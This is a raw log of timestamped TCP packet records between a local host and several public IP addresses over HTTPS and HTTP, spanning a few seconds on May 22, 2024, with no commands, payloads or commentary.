May 22, 2024 20:02:06.137999058 CEST	59892	443	192.168.2.17	216.58.212.164
May 22, 2024 20:02:06.138329983 CEST	59892	443	192.168.2.17	216.58.212.164
May 22, 2024 20:02:06.138436079 CEST	443	59892	216.58.212.164	192.168.2.17
May 22, 2024 20:02:06.138545990 CEST	59892	443	192.168.2.17	216.58.212.164
May 22, 2024 20:02:06.138562918 CEST	443	59892	216.58.212.164	192.168.2.17
May 22, 2024 20:02:06.186213017 CEST	59892	443	192.168.2.17	216.58.212.164
May 22, 2024 20:02:06.252382994 CEST	443	59891	13.227.219.47	192.168.2.17
May 22, 2024 20:02:06.252716064 CEST	59891	443	192.168.2.17	13.227.219.47
May 22, 2024 20:02:06.252732992 CEST	443	59891	13.227.219.47	192.168.2.17
May 22, 2024 20:02:06.254432917 CEST	443	59891	13.227.219.47	192.168.2.17
May 22, 2024 20:02:06.254535913 CEST	59891	443	192.168.2.17	13.227.219.47
May 22, 2024 20:02:06.255495071 CEST	59891	443	192.168.2.17	13.227.219.47
May 22, 2024 20:02:06.255584002 CEST	443	59891	13.227.219.47	192.168.2.17
May 22, 2024 20:02:06.255688906 CEST	59891	443	192.168.2.17	13.227.219.47
May 22, 2024 20:02:06.255700111 CEST	443	59891	13.227.219.47	192.168.2.17
May 22, 2024 20:02:06.286341906 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:06.286619902 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:06.286645889 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:06.287647963 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:06.287720919 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:06.287993908 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:06.288050890 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:06.288137913 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:06.288147926 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:06.298187017 CEST	59891	443	192.168.2.17	13.227.219.47
May 22, 2024 20:02:06.330213070 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:06.432080984 CEST	443	59892	216.58.212.164	192.168.2.17
May 22, 2024 20:02:06.432393074 CEST	443	59892	216.58.212.164	192.168.2.17
May 22, 2024 20:02:06.432455063 CEST	59892	443	192.168.2.17	216.58.212.164
May 22, 2024 20:02:06.432488918 CEST	443	59892	216.58.212.164	192.168.2.17
May 22, 2024 20:02:06.432506084 CEST	443	59892	216.58.212.164	192.168.2.17
May 22, 2024 20:02:06.432554960 CEST	59892	443	192.168.2.17	216.58.212.164
May 22, 2024 20:02:06.432893991 CEST	59892	443	192.168.2.17	216.58.212.164
May 22, 2024 20:02:06.432914972 CEST	443	59892	216.58.212.164	192.168.2.17
May 22, 2024 20:02:06.514650106 CEST	443	59891	13.227.219.47	192.168.2.17
May 22, 2024 20:02:06.514712095 CEST	443	59891	13.227.219.47	192.168.2.17
May 22, 2024 20:02:06.514731884 CEST	443	59891	13.227.219.47	192.168.2.17
May 22, 2024 20:02:06.514775038 CEST	443	59891	13.227.219.47	192.168.2.17
May 22, 2024 20:02:06.514806032 CEST	443	59891	13.227.219.47	192.168.2.17
May 22, 2024 20:02:06.514807940 CEST	59891	443	192.168.2.17	13.227.219.47
May 22, 2024 20:02:06.514847994 CEST	443	59891	13.227.219.47	192.168.2.17
May 22, 2024 20:02:06.514867067 CEST	59891	443	192.168.2.17	13.227.219.47
May 22, 2024 20:02:06.514879942 CEST	59891	443	192.168.2.17	13.227.219.47
May 22, 2024 20:02:06.514899015 CEST	59891	443	192.168.2.17	13.227.219.47
May 22, 2024 20:02:06.602184057 CEST	443	59891	13.227.219.47	192.168.2.17
May 22, 2024 20:02:06.602216005 CEST	443	59891	13.227.219.47	192.168.2.17
May 22, 2024 20:02:06.602299929 CEST	59891	443	192.168.2.17	13.227.219.47
May 22, 2024 20:02:06.602330923 CEST	443	59891	13.227.219.47	192.168.2.17
May 22, 2024 20:02:06.602355003 CEST	59891	443	192.168.2.17	13.227.219.47
May 22, 2024 20:02:06.602375984 CEST	59891	443	192.168.2.17	13.227.219.47
May 22, 2024 20:02:06.606496096 CEST	443	59891	13.227.219.47	192.168.2.17
May 22, 2024 20:02:06.606525898 CEST	443	59891	13.227.219.47	192.168.2.17
May 22, 2024 20:02:06.606585026 CEST	59891	443	192.168.2.17	13.227.219.47
May 22, 2024 20:02:06.606606960 CEST	443	59891	13.227.219.47	192.168.2.17
May 22, 2024 20:02:06.606623888 CEST	443	59891	13.227.219.47	192.168.2.17
May 22, 2024 20:02:06.606631994 CEST	59891	443	192.168.2.17	13.227.219.47
May 22, 2024 20:02:06.606647968 CEST	59891	443	192.168.2.17	13.227.219.47
May 22, 2024 20:02:06.606673956 CEST	59891	443	192.168.2.17	13.227.219.47
May 22, 2024 20:02:06.606797934 CEST	59891	443	192.168.2.17	13.227.219.47
May 22, 2024 20:02:06.606812954 CEST	443	59891	13.227.219.47	192.168.2.17
May 22, 2024 20:02:08.500355005 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.500436068 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.500475883 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.500509977 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.500507116 CEST	59890	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.500571966 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.500648022 CEST	59890	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.501569986 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.501636982 CEST	59890	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.501652956 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.502386093 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.502415895 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.502449036 CEST	59890	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.502461910 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.502518892 CEST	59890	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.510577917 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.516802073 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.517002106 CEST	59890	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.517035961 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.528078079 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.529743910 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.529994011 CEST	59887	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.530028105 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.531717062 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.531786919 CEST	59887	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.531805992 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.537384033 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.537462950 CEST	59887	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.537477016 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.541198969 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.541269064 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.541281939 CEST	59887	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.541299105 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.541363001 CEST	59887	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.544497967 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.547697067 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.547784090 CEST	59889	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.547785997 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.547817945 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.547873020 CEST	59889	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.551409960 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.554585934 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.554673910 CEST	59889	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.554691076 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.557657003 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.557698011 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.557727098 CEST	59889	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.557743073 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.557867050 CEST	59889	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.560947895 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.560981989 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.561008930 CEST	59890	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.561024904 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.561079025 CEST	59890	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.563448906 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.566106081 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.566181898 CEST	59890	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.566188097 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.566200018 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.566241980 CEST	59890	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.566421032 CEST	59890	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.566435099 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.566912889 CEST	59894	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.566948891 CEST	443	59894	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.567042112 CEST	59894	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.567589045 CEST	59894	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.567604065 CEST	443	59894	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.597529888 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.598634005 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.598660946 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.598705053 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.598721981 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.598767996 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.600815058 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.604177952 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.604211092 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.604233980 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.604239941 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.604290009 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.606349945 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.607450008 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.607475996 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.607497931 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.607505083 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.607561111 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.682662010 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.683485031 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.683571100 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.683633089 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.686646938 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.686675072 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.686712980 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.686733961 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.686798096 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.687694073 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.689805984 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.689870119 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.689882994 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.690700054 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.690857887 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.690871000 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.731518984 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.731553078 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.731595993 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.731614113 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.731678009 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.771078110 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.772808075 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.773096085 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.773154974 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.774580002 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.774648905 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.774666071 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.775476933 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.775554895 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.775568962 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.778662920 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.778702021 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.778728962 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.778734922 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.778747082 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.778793097 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.780014992 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.780073881 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.780087948 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.782071114 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.782151937 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.782165051 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.783512115 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.783584118 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.783761978 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.783792973 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.784203053 CEST	59895	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.784229040 CEST	443	59895	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.784296036 CEST	59895	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.784759045 CEST	59895	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.784770012 CEST	443	59895	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.808335066 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.808940887 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.809020996 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.809030056 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.811182976 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.811216116 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.811345100 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.811350107 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.811393976 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.811989069 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.814205885 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.814250946 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.814255953 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.819073915 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.819154024 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.819160938 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.858711958 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.860681057 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.860863924 CEST	59887	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.860897064 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.861392021 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.861454010 CEST	59887	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.861466885 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.862142086 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.862263918 CEST	59887	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.862277031 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.863549948 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.863611937 CEST	59887	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.863625050 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.864710093 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.864768982 CEST	59887	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.864783049 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.866977930 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.867052078 CEST	59887	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.867064953 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.867089033 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.867160082 CEST	59887	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.867363930 CEST	59887	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.867388010 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.867835999 CEST	59897	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.867875099 CEST	443	59897	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.867934942 CEST	59897	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.867932081 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.868448973 CEST	59897	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.868464947 CEST	443	59897	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.868804932 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.868861914 CEST	59889	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.868890047 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.869184971 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.869780064 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.869836092 CEST	59889	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.869849920 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.870888948 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.870970011 CEST	59889	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.870980024 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.872574091 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.872634888 CEST	59889	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.872648001 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.872723103 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.872766972 CEST	59889	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.872773886 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.873785973 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.873852015 CEST	59889	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.873862982 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.874021053 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.874069929 CEST	59889	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.874214888 CEST	59889	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.874228954 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.874577999 CEST	59898	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.874614000 CEST	443	59898	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.874665976 CEST	59898	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.875081062 CEST	59898	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.875102043 CEST	443	59898	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.936080933 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.936223984 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.936290026 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.936323881 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.936440945 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.936480045 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.936574936 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.936583042 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.936620951 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.937529087 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.938129902 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.938186884 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.938196898 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.938687086 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.938745022 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.938751936 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.940221071 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.940273046 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.940279007 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.941883087 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.941925049 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.941936970 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.941941977 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.941983938 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.941988945 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.943022966 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.943085909 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.943227053 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.943244934 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.943674088 CEST	59899	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.943727970 CEST	443	59899	188.114.97.3	192.168.2.17
May 22, 2024 20:02:08.943795919 CEST	59899	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.944225073 CEST	59899	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:08.944242954 CEST	443	59899	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.120151997 CEST	443	59894	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.120531082 CEST	59894	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:09.120590925 CEST	443	59894	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.120939970 CEST	443	59894	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.121238947 CEST	59894	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:09.121294975 CEST	443	59894	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.121388912 CEST	59894	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:09.149234056 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.150223970 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.150311947 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:09.150340080 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.151364088 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.151432991 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:09.151451111 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.152595043 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.152661085 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:09.152677059 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.153698921 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.153757095 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:09.153764009 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.155301094 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.155335903 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.155354023 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:09.155360937 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.155405998 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:09.158895969 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.159326077 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.159483910 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:09.159496069 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.159506083 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.159554958 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:09.159569979 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.162497997 CEST	443	59894	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.166275978 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.166347027 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:09.166492939 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:09.166505098 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.169276953 CEST	59900	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:09.169326067 CEST	443	59900	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.169414997 CEST	59900	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:09.169594049 CEST	59900	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:09.169619083 CEST	443	59900	188.114.97.3	192.168.2.17
May 22, 2024 20:02:09.219181061 CEST	49682	80	192.168.2.17	192.229.211.108
May 22, 2024 20:02:09.304168940 CEST	443	59895	188.114.97.3	192.168.2.17
